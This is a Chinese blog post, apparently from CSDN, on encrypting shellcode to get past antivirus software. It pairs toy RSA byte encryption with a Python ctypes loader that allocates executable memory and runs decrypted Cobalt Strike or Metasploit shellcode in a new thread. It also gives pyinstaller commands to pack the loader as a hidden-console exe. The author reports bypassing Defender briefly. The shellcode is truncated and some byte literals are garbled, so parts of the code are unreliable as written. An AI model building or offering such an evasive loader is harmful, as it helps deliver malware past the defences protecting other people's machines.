shellcode加密免杀

通过加密shellcode方式过安全软件拦截

先说结论,笔者没成功

  • shellcode:

    Shellcode 是一段用于在目标系统上执行特定操作的机器码。它通常被用于利用软件漏洞,以获取对目标系统的控制权或执行特定的恶意行为。 Shellcode 可以执行诸如创建进程、提升权限、下载和执行其他恶意软件等操作。编写有效的 Shellcode 需要对目标系统的架构、内存布局和操作系统的特性有深入的了解。 在安全领域,研究人员和攻击者都会涉及到 Shellcode 的相关知识,前者用于发现和防范漏洞利用,后者则用于实施攻击。#通常是字节数组
    

    这里可以用cs或者msf等工具生成类似的shellcode用于去目标机器执行

  • 加密免杀:

    没做如何处理的shellcode特征码容易被杀毒软件监测,而加密免杀则是提前用加密算法对shellcode进行一次加密,再执行代码中则将加密后的shellcode进行解密,再执行。由于shellcode是加密后的,因此不容易被杀软本身所监测
    
  • 实验复现

    环境:宿主机Windows11 ,pycharm,cs,VMware搭建的windows10 2019未更新defender

    1. 使用cs生成的shellcode

    1. 对shellcode进行加密

      /* length: 893 bytes */
      unsigned char buf[] = "\xwc\x49\...\x85\xad";//这是不全的,实验复现时自己用工具生成
      

      加密算法:base64,AES,自定义

      def encrypt(public_key, plaintext):
          e, n = public_key
          cipher = [pow(byte, e, n) for byte in plaintext]
          return (cipher)
      
      def decrypt(private_key, ciphertext):
          d, n = private_key
          plain = [pow(byte, d, n) for byte in ciphertext]
          return bytes(plain)
      
      # 固定的公钥和私钥
      public_key = (65537, 3233)  # e 和 n
      private_key = (2753, 3233)  # d 和 n
      message = b"\xwc\x49\...\x85\xad"
      
      # print("原始消息:", message)
      
      encrypted_msg = encrypt(public_key, message)
      print("加密后的消息:", encrypted_msg)
      
      假设加密后的结果为:b"adadaawda"
      

      放进执行器中

      def decrypt(private_key, ciphertext):
          d, n = private_key
          plain = [pow(byte, d, n) for byte in ciphertext]
          return bytes(plain)
      
      def set_shellcode(buf):
          # 加载shellcode
          VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
          RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
          CreateThread = ctypes.windll.kernel32.CreateThread
          WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
          shellcode = bytearray(buf)
          VirtualAlloc.restype = ctypes.c_void_p
          p = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x3000, 0x00000040)
          buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
          RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(shellcode)))
          h = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(p), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))  # 执行创建线程
          WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1))
      
      def main():
          encrypt_buf = b"adadaawda"
          buf = decrypt(private_key, encrypt_buf)
          set_shellcode(buf)
      
      #使用 pyinstaller生成exe文件
      pip install pyinstaller
      pyinstaller -w --onefile 执行器.py #-w生成的exe不会产生控制台,--onefile只生成一个文件
      
    2. 直接丢入虚拟机中

      结果:尝试的base64,aes,自定义rsa算法均没绕过火绒,(360未测试),自定义rsa算法绕过defender,但运行后不久被杀
      

 ```
 结果:尝试的base64,aes,自定义rsa算法均没绕过火绒,(360未测试),自定义rsa算法绕过defender,但运行后不久被杀
 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值